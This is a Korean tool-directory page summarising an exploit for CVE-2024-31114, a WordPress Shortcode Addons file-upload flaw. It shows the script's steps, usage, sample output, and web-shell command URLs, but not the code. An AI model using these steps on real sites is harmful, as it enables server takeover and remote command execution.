Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-31114 — Shortcode Addons <= 3.2.5 - 인증된 (관리자+) 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/nxploited/cve-2024-31114
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnxploited/cve-2024-31114

CVE-2024-31114

Shortcode Addons <= 3.2.5 - 인증된 (관리자+) 임의 파일 업로드

저장소 보기
21년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-31114 - WordPress Shortcode Addons RCE 익스플로잇

Shortcode Addons <= 3.2.5 – 인증된 (관리자+) 임의 파일 업로드
CVE ID: CVE-2024-31114
CVSS 점수: 9.1 (치명적)


🛠️ 취약점 설명

WordPress용 Shortcode Addons – with Visual Composer, Divi, Beaver Builder, and Elementor Extension 플러그인은 3.2.5 이하의 모든 버전에서 파일 형식 검증 누락으로 인해 임의 파일 업로드에 취약합니다.

이 결함으로 관리자 이상의 접근 권한을 가진 인증된 공격자가 서버에 임의 파일을 업로드할 수 있으며, 이는 원격 코드 실행(RCE) 으로 이어질 수 있습니다.


🚀 스크립트 설명

이 Python 스크립트는 취약점 악용을 자동화합니다. 수행하는 작업은 다음과 같습니다:

  1. SSL 검증 비활성화
  2. 주어진 자격 증명으로 로그인
  3. CSRF 토큰(_wpnonce) 추출
  4. PHP 셸(nxploit.php) 생성
  5. .zip으로 압축 및 업로드
  6. 업로드 확인 및 셸 접근
  7. 대상 서버에서 whoami 실행

🧪 사용법

usage: CVE-2024-31114.py [-h] -u URL -un USERNAME -p PASSWORD

Shortcode Addons <= 3.2.5 - Authenticated (Admin+) Arbitrary File Upload
By: Nxploited | Khaled Alenazi

options:
  -h, --help            Show this help message and exit
  -u, --url URL         Target URL (e.g. http://target.com)
  -un, --username USERNAME   WordPress Admin Username
  -p, --password PASSWORD    WordPress Admin Password

📤 예제 출력

[+] Authentication successful.
[+] _wpnonce extracted: 9d8dbbc630
[+] Payload nxploit.zip created.
[+] Payload uploaded.
[+] Shell is accessible at: http://target/wp-content/uploads/shortcode-addons/nxploit.php
[+] Command output:
------------------
www-data
------------------
[+] Temporary files removed.

🐚 웹 셸 사용법

페이로드가 업로드되면 다음 형식을 사용하여 시스템 명령을 실행할 수 있습니다:

http://target/wp-content/uploads/shortcode-addons/nxploit.php?cmd=command

🔹 예시:

http://target/wp-content/uploads/shortcode-addons/nxploit.php?cmd=ls

이 명령은 서버의 현재 디렉터리 내용을 나열합니다.

⚠️ 면책 조항

이 도구는 교육 및 승인된 테스트 목적으로만 사용해야 합니다.
저자는 이 스크립트로 인한 오용이나 피해에 대해 책임을 지지 않습니다.

책임감 있게 사용하고, 명시적인 테스트 허가를 받은 시스템에서만 사용하세요.


제작: Nxploited | Khaled Alenazi

도구 다운로드